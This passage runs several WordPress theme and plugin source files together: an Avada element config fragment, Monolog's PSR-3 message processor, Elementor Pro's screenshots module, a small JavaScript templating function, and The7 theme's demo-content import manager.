						'description' => esc_attr__( 'Add an ID to the wrapping HTML element.', 'fusion-core' ),
						'param_name'  => 'id',
						'value'       => '',
					],
					[
						'type'        => 'radio_button_set',
						'heading'     => esc_html__( 'Enable Heading', 'fusion-core' ),
						'description' => esc_html__( 'Turn on if you want to display default heading.', 'fusion-core' ),
						'param_name'  => 'heading_enable',
						'default'     => 'yes',
						'value'       => [
							'yes' => esc_html__( 'Yes', 'fusion-core' ),
							'no'  => esc_html__( 'No', 'fusion-core' ),
						],
						'group'       => esc_html__( 'Design', 'fusion-core' ),
					],
					[
						'type'        => 'radio_button_set',
						'heading'     => esc_attr__( 'HTML Heading Tag', 'fusion-core' ),
						'description' => esc_attr__( 'Choose HTML tag of the heading, either div, p or the heading tag, h1-h6.', 'fusion-core' ),
						'param_name'  => 'heading_size',
						'value'       => [
							'1'   => 'H1',
							'2'   => 'H2',
							'3'   => 'H3',
							'4'   => 'H4',
							'5'   => 'H5',
							'6'   => 'H6',
							'div' => 'DIV',
							'p'   => 'P',
						],
						'default'     => '3',
						'group'       => esc_html__( 'Design', 'fusion-core' ),
						'dependency'  => [
							[
								'element'  => 'heading_enable',
								'value'    => 'no',
								'operator' => '!=',
							],
						],
					],
					[
						'heading'     => esc_attr__( 'Show Author', 'fusion-core' ),
						'description' => esc_html__( 'Choose to show or hide the author in the Project Details.', 'fusion-core' ),
						'type'        => 'radio_button_set',
						'param_name'  => 'author',
						'group'       => esc_html__( 'Design', 'fusion-core' ),
						'default'     => 'yes',
						'value'       => [
							'yes' => esc_attr__( 'Show', 'fusion-core' ),
							'no'  => esc_attr__( 'Hide', 'fusion-core' ),
						],
					],
					[
						'type'             => 'dimension',
						'remove_from_atts' => true,
						'heading'          => esc_attr__( 'Margin', 'fusion-core' ),
						'description'      => esc_attr__( 'In pixels or percentage, ex: 10px or 10%.', 'fusion-core' ),
						'param_name'       => 'margin',
						'value'            => [
							'margin_top'    => '',
							'margin_right'  => '',
							'margin_bottom' => '',
							'margin_left'   => '',
						],
						'group'            => esc_html__( 'Design', 'fusion-core' ),
					],
					'fusion_conditional_render_placeholder' => [],
					'fusion_animation_placeholder' => [
						'preview_selector' => '.fusion-project-details-tb',
					],
				],
			]
		)
	);
}
add_action( 'fusion_builder_before_init', 'fusion_component_project_details' );
<?php

declare (strict_types=1);
/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace Google\Site_Kit_Dependencies\Monolog\Processor;

use Google\Site_Kit_Dependencies\Monolog\Utils;
/**
 * Processes a record's message according to PSR-3 rules
 *
 * It replaces {foo} with the value from $context['foo']
 *
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class PsrLogMessageProcessor implements ProcessorInterface
{
    public const SIMPLE_DATE = "Y-m-d\\TH:i:s.uP";
    /** @var string|null */
    private $dateFormat;
    /** @var bool */
    private $removeUsedContextFields;
    /**
     * @param string|null $dateFormat              The format of the timestamp: one supported by DateTime::format
     * @param bool        $removeUsedContextFields If set to true the fields interpolated into message gets unset
     */
    public function __construct(?string $dateFormat = null, bool $removeUsedContextFields = \false)
    {
        $this->dateFormat = $dateFormat;
        $this->removeUsedContextFields = $removeUsedContextFields;
    }
    /**
     * {@inheritDoc}
     */
    public function __invoke(array $record): array
    {
        if (\false === strpos($record['message'], '{')) {
            return $record;
        }
        $replacements = [];
        foreach ($record['context'] as $key => $val) {
            $placeholder = '{' . $key . '}';
            if (strpos($record['message'], $placeholder) === \false) {
                continue;
            }
            if (is_null($val) || is_scalar($val) || is_object($val) && method_exists($val, "__toString")) {
                $replacements[$placeholder] = $val;
            } elseif ($val instanceof \DateTimeInterface) {
                if (!$this->dateFormat && $val instanceof \Google\Site_Kit_Dependencies\Monolog\DateTimeImmutable) {
                    // handle monolog dates using __toString if no specific dateFormat was asked for
                    // so that it follows the useMicroseconds flag
                    $replacements[$placeholder] = (string) $val;
                } else {
                    $replacements[$placeholder] = $val->format($this->dateFormat ?: static::SIMPLE_DATE);
                }
            } elseif ($val instanceof \UnitEnum) {
                $replacements[$placeholder] = $val instanceof \BackedEnum ? $val->value : $val->name;
            } elseif (is_object($val)) {
                $replacements[$placeholder] = '[object ' . Utils::getClass($val) . ']';
            } elseif (is_array($val)) {
                $replacements[$placeholder] = 'array' . Utils::jsonEncode($val, null, \true);
            } else {
                $replacements[$placeholder] = '[' . gettype($val) . ']';
            }
            if ($this->removeUsedContextFields) {
                unset($record['context'][$key]);
            }
        }
        $record['message'] = strtr($record['message'], $replacements);
        return $record;
    }
}
<?php
namespace ElementorPro\Modules\Screenshots;

use ElementorPro\Base\Module_Base;
use Elementor\Core\Frontend\Render_Mode_Manager;
use ElementorPro\Core\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Module extends Module_Base {
	const SCREENSHOT_PROXY_NONCE_ACTION = 'screenshot_proxy';

	/**
	 * Module name.
	 *
	 * @return string
	 */
	public function get_name() {
		return 'screenshots';
	}

	/**
	 * Creates proxy for css and images,
	 * dom to image libraries cannot load content from another origin.
	 *
	 * @param $url
	 *
	 * @return string
	 */
	public function get_proxy_data( $url ) {
		$response = wp_safe_remote_get( utf8_decode( $url ) );

		if ( is_wp_error( $response ) ) {
			return '';
		}

		$content_type = wp_remote_retrieve_headers( $response )->offsetGet( 'content-type' );

		header( 'content-type: ' . $content_type );

		return wp_remote_retrieve_body( $response );
	}

	/**
	 * Save screenshot and attached it to the post.
	 *
	 * @param $data
	 *
	 * @return bool|string
	 * @throws \Exception
	 */
	public function ajax_save( $data ) {
		if ( empty( $data['screenshot'] ) || empty( $data['post_id'] ) ) {
			return false;
		}

		if ( ! $this->can_user_manage_screenshots( $data['post_id'] ) ) {
			return false;
		}

		$screenshot = new Screenshot( $data['post_id'], $data['screenshot'] );

		$screenshot
			->create_dir()
			->upload()
			->remove_old_attachment()
			->create_new_attachment()
			->unmark_as_failed();

		return $screenshot->get_screenshot_url();
	}

	/**
	 * Remove the screenshot image and the attachment data.
	 *
	 * @param $data
	 *
	 * @return bool
	 */
	public function ajax_delete( $data ) {
		if ( empty( $data['post_id'] ) ) {
			return false;
		}

		if ( ! $this->can_user_manage_screenshots( $data['post_id'] ) ) {
			return false;
		}

		$screenshot = new Screenshot( $data['post_id'] );

		$screenshot
			->remove_old_attachment()
			->remove_old_post_meta()
			->unmark_as_failed();

		return true;
	}

	/**
	 * Mark screenshot as failed.
	 *
	 * @param $data
	 *
	 * @return bool
	 */
	public function ajax_screenshot_failed( $data ) {
		if ( empty( $data['post_id'] ) ) {
			return false;
		}

		if ( ! $this->can_user_manage_screenshots( $data['post_id'] ) ) {
			return false;
		}

		$screenshot = new Screenshot( $data['post_id'] );

		$screenshot->mark_as_failed();

		return true;
	}

	/**
	 * Extends the json of the templates.
	 * sets a screenshot as a thumbnail if exists, and if not will add a url to generate screenshot for
	 * the specific template.
	 *
	 * @param array $template
	 *
	 * @return array
	 */
	public function extend_templates_json_structure( $template ) {

		if ( ! empty( $template['thumbnail'] ) ) {
			return $template;
		}

		$attachment_data = get_post_meta( $template['id'], Screenshot::POST_META_KEY, true );

		if ( isset( $attachment_data['url'] ) ) {
			$template['thumbnail'] = $attachment_data['url'];

			return $template;
		}

		$failed_to_create_screenshot = get_post_meta( $template['id'], Screenshot::FAILED_POST_META_KEY, true );

		// If it failed to create screenshot before, it should not set screenshot_url, and should not try
		// to create another screenshot until the next edit of the template.
		if ( ! $failed_to_create_screenshot ) {
			$template['screenshot_url'] = Render_Mode_Screenshot::get_url( $template['id'] );
		}

		return $template;
	}

	/**
	 * @param \WP_Query $query
	 */
	public function filter_screenshots_from_attachments_query( \WP_Query $query ) {
		global $pagenow, $typenow;

		if ( 'upload.php' !== $pagenow || 'attachment' !== $typenow ) {
			return;
		}

		if ( empty( $query->query_vars['meta_query'] ) ) {
			$query->query_vars['meta_query'] = [];
		}

		$query->query_vars['meta_query'][] = [
			'key' => Screenshot::IS_SCREENSHOT_POST_META_KEY,
			'compare' => 'NOT EXISTS',
		];
	}

	public function filter_screenshots_from_ajax_attachments_query( $query ) {
		if ( empty( $query['meta_query'] ) ) {
			$query['meta_query'] = [];
		}

		$query['meta_query'][] = [
			'key' => Screenshot::IS_SCREENSHOT_POST_META_KEY,
			'compare' => 'NOT EXISTS',
		];

		return $query;
	}

	/**
	 * Register screenshots action.
	 *
	 * @param \Elementor\Core\Common\Modules\Ajax\Module $ajax_manager
	 */
	public function register_ajax_actions( $ajax_manager ) {
		$ajax_manager->register_ajax_action( 'screenshot_save', [ $this, 'ajax_save' ] );
		$ajax_manager->register_ajax_action( 'screenshot_delete', [ $this, 'ajax_delete' ] );
		$ajax_manager->register_ajax_action( 'screenshot_failed', [ $this, 'ajax_screenshot_failed' ] );
	}

	/**
	 * @param Render_Mode_Manager $manager
	 *
	 * @throws \Exception
	 */
	public function register_render_mode( Render_Mode_Manager $manager ) {
		$manager->register_render_mode( Render_Mode_Screenshot::class );
	}

	/**
	 * Check and validate proxy mode.
	 *
	 * @param array $query_params
	 *
	 * @return bool
	 * @throws \Requests_Exception_HTTP_400
	 * @throws \Requests_Exception_HTTP_403
	 * @throws Status400
	 * @throws Status403
	 */
	protected function is_screenshot_proxy_mode( array $query_params ) {
		$is_proxy = isset( $query_params['screenshot_proxy'] );

		if ( $is_proxy ) {
			if ( ! wp_verify_nonce( $query_params['nonce'], self::SCREENSHOT_PROXY_NONCE_ACTION ) ) {
				// WP >= 6.2-alpha
				if ( class_exists( '\WpOrg\Requests\Exception\Http\Status403' ) ) {
					throw new \WpOrg\Requests\Exception\Http\Status403();
				} else {
					throw new \Requests_Exception_HTTP_403();
				}
			}

			if ( ! $query_params['href'] ) {
				// WP >= 6.2-alpha
				if ( class_exists( '\WpOrg\Requests\Exception\Http\Status400' ) ) {
					throw new \WpOrg\Requests\Exception\Http\Status400();
				} else {
					throw new \Requests_Exception_HTTP_400();
				}
			}
		}

		return $is_proxy;
	}

	/**
	 * @param $post_id
	 *
	 * @return bool
	 * @throws \Exception
	 */
	private function can_user_manage_screenshots( $post_id ) {
		return Utils::_unstable_get_document_for_edit( $post_id ) && current_user_can( 'upload_files' );
	}

	/**
	 * Module constructor.
	 */
	public function __construct() {
		parent::__construct();

		if ( $this->is_screenshot_proxy_mode( $_GET ) ) { // phpcs:ignore -- Checking nonce inside the method.
			echo $this->get_proxy_data( htmlspecialchars( $_GET['href'] ) ); // phpcs:ignore -- Nonce was checked on the above method
			die;
		}

		add_action( 'elementor/frontend/render_mode/register', [ $this, 'register_render_mode' ] );
		add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] );
		add_action( 'parse_query', [ $this, 'filter_screenshots_from_attachments_query' ] );
		add_filter( 'ajax_query_attachments_args', [ $this, 'filter_screenshots_from_ajax_attachments_query' ] );
		add_filter( 'elementor-pro/site-editor/data/template', [ $this, 'extend_templates_json_structure' ] );
	}
}
export default function (html, options) {
	let re = /<%(.+?)%>/g,
		reExp = /(^( )?(var|if|for|else|switch|case|break|{|}|;))(.*)?/g,
		code = 'with(obj) { var r=[];\n',
		cursor = 0,
		result,
		match;

	const add = function (line, js) {
		js ? (code += line.match(reExp) ? line + '\n' : 'r.push(' + line + ');\n') :
			(code += line != '' ? 'r.push("' + line.replace(/"/g, '\\"') + '");\n' : '');

		return add;
	}

	while (match = re.exec(html)) {
		add(html.slice(cursor, match.index))(match[1], true);
		cursor = match.index + match[0].length;
	}

	add(html.substr(cursor, html.length - cursor));

	code = (code + 'return r.join(""); }').replace(/[\r\t\n]/g, ' ');

	try {
		result = new Function('obj', code).apply(options, [options]);
	} catch (err) {
		console.error("'" + err.message + "'", " in \n\nCode:\n", code, "\n");
	}

	return result;
}<?php
/**
 * Manage all import behaviour.
 *
 * @package The7
 */

defined( 'ABSPATH' ) || exit;

class The7_Demo_Content_Import_Manager {

	/**
	 * @var string
	 */
	public $content_dir;

	/**
	 * @var string
	 */
	public $xml_file_to_import;

	/**
	 * @var array
	 */
	protected $demo;

	/**
	 * @var array
	 */
	protected $errors = array();

	/**
	 * @var The7_Content_Importer
	 */
	protected $importer;

	/**
	 * @var mixed
	 */
	public $site_meta = null;

	/**
	 * @var The7_Demo_Content_Tracker
	 */
	private $tracker;

	/**
	 * DT_Dummy_Import_Manager constructor.
	 *
	 * @param string $content_dir
	 * @param array  $demo
	 */
	public function __construct( $content_dir, $demo, $tracker ) {
		$this->content_dir        = trailingslashit( $content_dir );
		$this->xml_file_to_import = $this->content_dir . 'full-content.xml';
		$this->demo               = $demo;
		$this->tracker            = $tracker;

		if ( $this->importer_bootstrap() ) {
			register_shutdown_function( [ $this, 'fatal_errors_log_handler' ] );
		} else {
			$this->add_error( __( 'The auto importing script could not be loaded.', 'the7mk2' ) );
		}
	}

	public function tracker() {
		return $this->tracker;
	}

	public function importer() {
		return $this->importer;
	}

	/**
	 * Downloads demo content package.
	 */
	public function download_dummy( $source ) {
		$item              = basename( $this->content_dir );
		$download_dir      = dirname( $this->content_dir );
		$the7_remote_api   = new The7_Remote_API( presscore_get_purchase_code() );
		$download_response = $the7_remote_api->download_demo( $item, $download_dir, $source );

		if ( is_wp_error( $download_response ) ) {
			$error = $download_response->get_error_message();

			$code = presscore_get_purchase_code();
			if ( $code && strpos( $error, $code ) !== false ) {
				$error = str_replace( $code, presscore_get_censored_purchase_code(), $error );
			}

			if ( 'the7_auto_deactivated' !== $download_response->get_error_code() ) {
				$error .= ' ' . sprintf(
					__(
						'Please don\'t hesitate to contact our <a href="%s" target="_blank" rel="noopener">support</a>.',
						'the7mk2'
					),
					'https://support.dream-theme.com/'
				);
			}

			$this->add_error( $error );

			return false;
		}

		return trailingslashit( $download_response );
	}

	/**
	 * Remove temp dir.
	 */
	public function cleanup_temp_dir() {
		if ( ! $this->content_dir ) {
			return false;
		}

		$wp_uploads = wp_get_upload_dir();

		$dir_to_delete = dirname( $this->content_dir );
		if ( untrailingslashit( $wp_uploads['basedir'] ) === untrailingslashit( $dir_to_delete ) ) {
			return false;
		}

		if ( false === strpos( $dir_to_delete, $wp_uploads['basedir'] ) ) {
			return false;
		}

		global $wp_filesystem;

		if ( ! $wp_filesystem && ! WP_Filesystem() ) {
			return false;
		}

		$wp_filesystem->delete( $dir_to_delete, true );

		return true;
	}

	/**
	 * @return void
	 */
	public function import_the7_core_post_types_builder_data() {
		$data = (array) $this->get_site_meta( 'the7_core_post_types_builder' );

		( new \The7_Post_Types_Builder_Data_Importer( $this->tracker ) )->import( $data );
	}

	/**
	 * Import post types dummy.
	 */
	public function import_post_types() {
		$this->rename_existing_menus();

		$this->tracker->track_imported_items();

		$wc_importer = new The7_WC_Importer( $this->importer );
		$wc_importer->import_wc_attributes( $this->get_site_meta( 'wc_attributes' ) );
		$wc_importer->add_hooks();

		$this->import_file( $this->xml_file_to_import );

		$wc_importer->remove_hooks();
		$wc_importer->import_wc_settings( $this->get_site_meta( 'woocommerce' ) );
		$wc_importer->regenerate_wc_cache();

		$this->importer->cache_processed_data();
	}

	/**
	 * Import one post types dummy.
	 */
	public function import_one_post_by_url( $post_url ) {
		$this->importer->add_filter_by_url( $post_url );

		$this->import_file( $this->xml_file_to_import );
		$this->importer->cache_processed_data();

		return $this->importer->get_processed_filtered_post();
	}

	public function import_one_post( $post_id ) {
		$this->importer->add_filter_by_id( $post_id );

		$this->import_file( $this->xml_file_to_import );
		$this->importer->cache_processed_data();

		return $this->importer->get_processed_filtered_post();
	}

	/**
	 * @param bool $include_attachments Include attachments if true.
	 * @param int  $batch               How many attachments to import.
	 *
	 * @return array|false
	 */
	public function import_attachments( $include_attachments = false, $batch = 27 ) {
		if ( ! $this->importer ) {
			return false;
		}

		if ( ! $this->file_exists( $this->xml_file_to_import ) ) {
			return false;
		}

		if ( ! $include_attachments ) {
			add_filter( 'wp_import_post_data_raw', [ $this, 'replace_attachment_url' ] );
		}

		add_filter( 'wp_import_tags', '__return_empty_array' );
		add_filter( 'wp_import_categories', '__return_empty_array' );
		add_filter( 'wp_import_terms', '__return_empty_array' );

		$status = $this->importer->import_batch( $this->xml_file_to_import, (int) $batch );

		$widgets = get_option( 'widget_text', [] );
		if ( $widgets ) {
			$widgets_str = wp_json_encode( $widgets );

			$url_remap = $this->importer->url_remap;
			uksort( $url_remap, [ $this->importer, 'cmpr_strlen' ] );

			foreach ( $url_remap as $old_url => $new_url ) {
				$old_url     = str_replace( '"', '', wp_json_encode( $old_url ) );
				$new_url     = str_replace( '"', '', wp_json_encode( $new_url ) );
				$widgets_str = str_replace( $old_url, $new_url, $widgets_str );
			}

			update_option( 'widget_text', json_decode( $widgets_str, true ) );
		}

		$wc_importer = new The7_WC_Importer( $this->importer );
		$wc_importer->fix_product_cat_thumbnail_id();

		return $status;
	}

	/**
	 * Rename existing menus.
	 */
	public function rename_existing_menus() {
		$menus = wp_get_nav_menus();

		if ( ! empty( $menus ) ) {
			foreach ( $menus as $menu ) {
				$updated = false;
				$i       = 0;

				while ( ! is_numeric( $updated ) ) {
					$i++;
					$args['menu-name']   = __( 'Previously used menu', 'the7mk2' ) . ' ' . $i;
					$args['description'] = $menu->description;
					$args['parent']      = $menu->parent;

					$updated = wp_update_nav_menu_object( $menu->term_id, $args );

					if ( $i > 100 ) {
						$updated = 1;
					}
				}
			}
		}
	}

	private function importer_bootstrap() {
		if ( ! defined( 'WP_LOAD_IMPORTERS' ) ) {
			define( 'WP_LOAD_IMPORTERS', true );
		}

		// Load WP_Import.
		if ( ! class_exists( 'WP_Import' ) ) {
			require_once PRESSCORE_DIR . '/vendor/wordpress-importer/wordpress-importer.php';
		}

		if ( ! class_exists( 'WP_Import' ) ) {
			return false;
		}

		// Load custom importer.
		if ( ! class_exists( 'The7_Content_Importer', false ) ) {
			require __DIR__ . '/importers/class-the7-content-importer.php';
		}

		$this->importer = new The7_Content_Importer();

		return true;
	}

	/**
	 * Import xml file.
	 *
	 * @param string $file_name File to import.
	 * @param array  $options   Options array.
	 *
	 * @return bool
	 */
	public function import_file( $file_name, $options = [] ) {
		if ( ! $this->file_exists( $file_name ) ) {
			return false;
		}

		/**
		 * Fix Fatal Error while process orphaned variations.
		 */
		remove_filter( 'post_type_link', [ 'WC_Post_Data', 'variation_post_link' ] );
		add_filter( 'post_type_link', [ $this, 'variation_post_link' ], 10, 2 );

		// Fix elementor data import alongside with installed wordpress-importer plugin.
		if ( class_exists( 'Elementor\Compatibility' ) ) {
			remove_filter( 'wp_import_post_meta', [ 'Elementor\Compatibility', 'on_wp_import_post_meta' ] );
		}

		add_filter( 'wp_import_post_meta', [ $this, 'fix_menus_for_microsite' ] );
		add_filter( 'wxr_menu_item_args', [ $this, 'menu_item_args_filter' ] );

		$this->importer->log_reset();

		$demo_title = isset( $this->demo['title'] ) ? $this->demo['title'] : 'demo';
		$this->importer->log_add( "Importing {$demo_title}\n" );

		$start = microtime( true );

		$elementor_importer = new \The7_Elementor_Importer( $this->importer, $this->tracker );
		$elementor_importer->do_before_importing_content();

		$this->importer->fetch_attachments = ! empty( $options['fetch_attachments'] );
		$this->importer->import( $file_name );

		$elementor_importer->do_after_importing_content();

		$this->importer->log_add( 'Content was imported in: ' . ( microtime( true ) - $start ) . "\n" );

		return true;
	}

	/**
	 * @param arrays $post_types Post types list.
	 *
	 * @return array|false
	 */
	public function get_posts_list( $post_types ) {
		if ( ! $this->file_exists( $this->xml_file_to_import ) ) {
			return false;
		}

		$parser      = new WXR_Parser();
		$import_data = $parser->parse( $this->xml_file_to_import );

		$available_posts = [];

		if ( ! empty( $import_data['posts'] ) ) {
			foreach ( $import_data['posts'] as $post ) {
				if ( ! isset( $post['status'] ) || $post['status'] !== 'publish' ) {
					continue;
				}

				if ( isset( $post['post_type'] ) && in_array( $post['post_type'], $post_types, true ) ) {
					$available_posts[ $post['post_type'] ][ $post['post_id'] ] = [
						'post_title' => $post['post_title'],
						'url'        => $post['link'],
					];
				}
			}
		}

		return [
			'response' => 'getPostsList',
			'data'     => $available_posts,
		];
	}

	/**
	 * Filter menu item args.
	 *
	 * Replace demo-relative urls with site-relative.
	 *
	 * @since 7.4.1
	 *
	 * @param array $args Menu item args.
	 *
	 * @return array
	 */
	public function menu_item_args_filter( $args ) {
		$demo_path = untrailingslashit( $this->importer->base_url );

		if ( $demo_path && $demo_path !== '/' ) {
			$home_url              = home_url();
			$args['menu-item-url'] = preg_replace( "#^{$demo_path}(.*)#", "{$home_url}$1", $args['menu-item-url'] );
		}

		return $args;
	}

	/**
	 * Alter post meta to be imported properly.
	 *
	 * Update microsite custom menu fields with new nav_menu term ids.
	 *
	 * @since 6.7.0
	 *
	 * @param array $post_meta Imported post meta.
	 *
	 * @return array
	 */
	public function fix_menus_for_microsite( $post_meta ) {
		$keys_to_migrate = array(
			'_dt_microsite_primary_menu',
			'_dt_microsite_split_left_menu',
			'_dt_microsite_split_right_menu',
			'_dt_microsite_mobile_menu',
		);

		$processed_terms = array();
		if ( isset( $this->importer->processed_terms ) ) {
			$processed_terms = $this->importer->processed_terms;
		}

		foreach ( $post_meta as $meta_index => $meta ) {
			if ( array_key_exists( $meta['value'], $processed_terms ) && in_array( $meta['key'], $keys_to_migrate, true ) ) {
				$post_meta[ $meta_index ]['value'] = $processed_terms[ $meta['value'] ];
			}
		}

		return $post_meta;
	}

	public function add_the7_imported_item_meta_action( $attachment_id ) {
		add_post_meta( $attachment_id, '_the7_imported_item', $this->demo['id'] );
	}

	/**
	 * Link to parent products when getting permalink for variation. Fail safe.
	 *
	 * @see WC_Post_Data::variation_post_link()
	 *
	 * @param $permalink
	 * @param $post
	 *
	 * @return string
	 */
	public function variation_post_link( $permalink, $post ) {
		if ( 'product_variation' === $post->post_type && function_exists( 'wc_get_product' ) ) {
			$variation = wc_get_product( $post->ID );
			if ( is_object( $variation ) ) {
				return $variation->get_permalink();
			}
		}

		return $permalink;
	}

	public function import_the7_dashboard_settings() {
		$dashboard_settings = $this->get_site_meta( 'the7_dashboard_settings' );
		if ( $dashboard_settings ) {
			$importer = new The7_Dashboard_Settings_Importer( $this->tracker );
			$importer->import( $dashboard_settings );
		}
	}

	public function add_the7_dashboard_settings() {
		$dashboard_settings = $this->get_site_meta( 'the7_dashboard_settings' );
		if ( $dashboard_settings ) {
			$importer = new The7_Dashboard_Settings_Importer( $this->tracker );
			$importer->add( $dashboard_settings );
		}
	}

	/**
	 * Import theme options.
	 */
	public function import_theme_option() {
		$site_meta = $this->get_site_meta();

		if ( isset( $site_meta['theme_options'] ) ) {
			$options_importer = new The7_Theme_Options_Importer( $this->importer, $this->tracker );
			$options_importer->import( $site_meta['theme_options'] );
		}
	}

	/**
	 * Import wp settings.
	 */
	public function import_wp_settings() {
		$site_meta = $this->get_site_meta();

		$this->importer->log_add( 'WP settings importing...' );

		$wp_settings_importer = new The7_WP_Settings_Importer( $this->importer, $this->tracker );

		if ( ! empty( $site_meta['wp_settings'] ) ) {
			$wp_settings_importer->import_settings( $site_meta['wp_settings'] );
		}

		if ( ! empty( $site_meta['nav_menu_locations'] ) ) {
			$wp_settings_importer->import_menu_locations( $site_meta['nav_menu_locations'] );
		}

		if ( ! empty( $site_meta['widgets_settings'] ) ) {
			$wp_settings_importer->import_widgets( $site_meta['widgets_settings'] );
		}

		$this->importer->log_add( 'Done' );
	}

	/**
	 * Import ultimate addons settings.
	 */
	public function import_ultimate_addons_settings() {
		$site_meta         = $this->get_site_meta();
		$ultimate_importer = new \The7_Ultimate_Addons_Importer( $this->tracker );

		if ( ! empty( $site_meta['ultimate_selected_google_fonts'] ) ) {
			$ultimate_importer->import_google_fonts( $site_meta['ultimate_selected_google_fonts'] );
		}

		if ( isset( $site_meta['schema']['folders']['ultimate_icon_fonts'] ) && ! empty( $site_meta['ultimate_icon_fonts'] ) ) {
			$demo_icons  = (array) $site_meta['ultimate_icon_fonts'];
			$from_folder = trailingslashit( $this->content_dir ) . $site_meta['schema']['folders']['ultimate_icon_fonts'];

			$ultimate_importer->import_icon_fonts( $demo_icons, $from_folder );
		}
	}

	/**
	 * Import The7 Font Awesome.
	 *
	 * @return bool
	 */
	public function import_the7_fontawesome() {
		$site_meta = $this->get_site_meta();

		if ( empty( $site_meta['the7_fontawesome_version'] ) ) {
			return false;
		}

		$this->importer->log_add( 'Configure FontAwesome...' );

		if ( $site_meta['the7_fontawesome_version'] === 'fa5' ) {
			The7_Icon_Manager::enable_fontawesome5();
		} else {
			The7_Icon_Manager::enable_fontawesome4();
		}

		$this->importer->log_add( 'Done' );

		return true;
	}

	/**
	 * Import revoluton slider sliders.
	 */
	public function import_rev_sliders() {
		$site_meta = $this->get_site_meta();

		if ( empty( $site_meta['revolution_sliders'] ) ) {
			return;
		}

		require_once __DIR__ . '/importers/class-the7-revslider-importer.php';
		$rev_slider_importer = new The7_Revslider_Importer();

		add_action( 'add_attachment', [ $this, 'add_the7_imported_item_meta_action' ] );

		$imported_sliders = [];
		foreach ( (array) $site_meta['revolution_sliders'] as $rev_slider ) {
			$status = $rev_slider_importer->import_slider( $rev_slider, $this->content_dir . "{$rev_slider}.zip" );
			if ( ! empty( $status['success'] ) ) {
				$imported_sliders[] = $status['sliderID'];
			}
		}

		remove_action( 'add_attachment', [ $this, 'add_the7_imported_item_meta_action' ] );

		return $imported_sliders;
	}

	public function import_elementor_settings() {
		$site_meta = $this->get_site_meta();

		$elementor_importer = new \The7_Elementor_Importer( $this->importer, $this->tracker );
		if ( ! empty( $site_meta['elementor'] ) ) {
			$elementor_importer->import_options( $site_meta['elementor'] );
		}

		if ( ! empty( $site_meta['elementor_kit_settings'] ) && the7_is_elementor3() ) {
			$elementor_importer->import_kit_settings( $site_meta['elementor_kit_settings'] );
		}

		$site_identity = $this->get_site_meta( 'site_identity' );

		if ( ! empty( $site_identity['custom_logo'] ) ) {
			$elementor_importer->import_custom_logo( (int) $site_identity['custom_logo'] );
		}

		if ( ! empty( $site_identity['site_icon'] ) ) {
			$elementor_importer->import_site_icon( (int) $site_identity['site_icon'] );
		}
	}

	public function import_tinvwl_settings() {
		if ( ! defined( 'TINVWL_PREFIX' ) || ! class_exists( 'TInvWL_Admin_Settings_General' ) ) {
			return;
		}

		$site_meta = $this->get_site_meta();

		if ( empty( $site_meta['ti_wish_list_settings'] ) ) {
			return;
		}

		$ti_settings_object      = TInvWL_Admin_Settings_General::instance();
		$ti_settings_declaration = (array) $ti_settings_object->constructor_data();
		$settings_to_import      = $site_meta['ti_wish_list_settings'];
		foreach ( $ti_settings_declaration as $settings_group ) {
			$option_id = TINVWL_PREFIX . '-' . $settings_group['id'];
			if ( array_key_exists( $option_id, $settings_to_import ) ) {
				update_option( $option_id, $settings_to_import[ $option_id ] );
			}
		}
	}

	/**
	 * @return bool
	 */
	public function import_vc_settings() {
		$site_meta = $this->get_site_meta();

		if ( empty( $site_meta['vc_settings'] ) || ! is_array( $site_meta['vc_settings'] ) ) {
			return false;
		}

		$this->importer->log_add( 'VC settings importing...' );

		require_once __DIR__ . '/importers/class-the7-vc-importer.php';
		$vc_importer = new The7_VC_Importer();
		if ( $vc_importer->import_settings( $site_meta['vc_settings'] ) ) {
			$vc_importer->show_notification();

			$this->importer->log_add( 'Done' );

			return true;
		}

		return false;
	}

	/**
	 * Return site meta - decoded site-meta.json file content.
	 *
	 * @param string $meta
	 *
	 * @return mixed
	 */
	public function get_site_meta( $meta = null ) {
		if ( $this->site_meta === null ) {
			$wp_filesystem = the7_get_filesystem();
			if ( is_wp_error( $wp_filesystem ) ) {
				$this->add_error( $wp_filesystem->get_error_message() );

				return null;
			}

			$this->site_meta = json_decode( $wp_filesystem->get_contents( $this->content_dir . 'site-meta.json' ), true );
		}

		if ( $meta === null ) {
			return $this->site_meta;
		}

		if ( isset( $this->site_meta[ $meta ] ) ) {
			return $this->site_meta[ $meta ];
		}

		return null;
	}

	/**
	 * Add error.
	 *
	 * @param string $msg
	 */
	public function add_error( $msg ) {
		$this->errors[] = wp_kses_post( $msg );
	}

	/**
	 * Returns errors string.
	 *
	 * @return string
	 */
	public function get_errors_string() {
		return implode( '', $this->errors );
	}

	/**
	 * @return bool
	 */
	public function has_errors() {
		return ( ! empty( $this->errors ) );
	}

	/**
	 * Replace attachments with noimage dummies.
	 *
	 * @param $raw_post
	 *
	 * @return mixed
	 */
	public function replace_attachment_url( $raw_post ) {
		if ( isset( $raw_post['post_type'] ) && 'attachment' === $raw_post['post_type'] ) {
			$raw_post['attachment_url'] = $raw_post['guid'] = $this->get_noimage_url( $raw_post['attachment_url'] );
		}

		return $raw_post;
	}

	/**
	 * Log fatal errors.
	 */
	public function fatal_errors_log_handler() {
		$error = error_get_last();

		if ( $error && in_array( $error['type'], array( E_ERROR, E_PARSE, E_COMPILE_ERROR, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) {
			$this->importer->log_add( 'Error: ' . $error['message'] );
		}
	}

	/**
	 * @param string $file_name
	 *
	 * @return bool
	 */
	protected function file_exists( $file_name ) {
		if ( ! is_file( $file_name ) ) {
			$this->add_error(
				esc_html__(
					"The XML file containing the dummy content is not available or could not be read in {$file_name}",
					'the7mk2'
				)
			);

			return false;
		}

		return true;
	}

	/**
	 * Returns dummy image src.
	 *
	 * @param string $origin_img_url
	 *
	 * @return string
	 */
	protected function get_noimage_url( $origin_img_url ) {
		switch ( pathinfo( $origin_img_url, PATHINFO_EXTENSION ) ) {
			case 'jpg':
			case 'jpeg':
				$ext = 'jpg';
				break;

			case 'png':
				$ext = 'png';
				break;

			case 'gif':
			default:
				$ext = 'gif';
				break;
		}

		return PRESSCORE_ADMIN_URI . "/assets/images/noimage.{$ext}";
	}
}
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
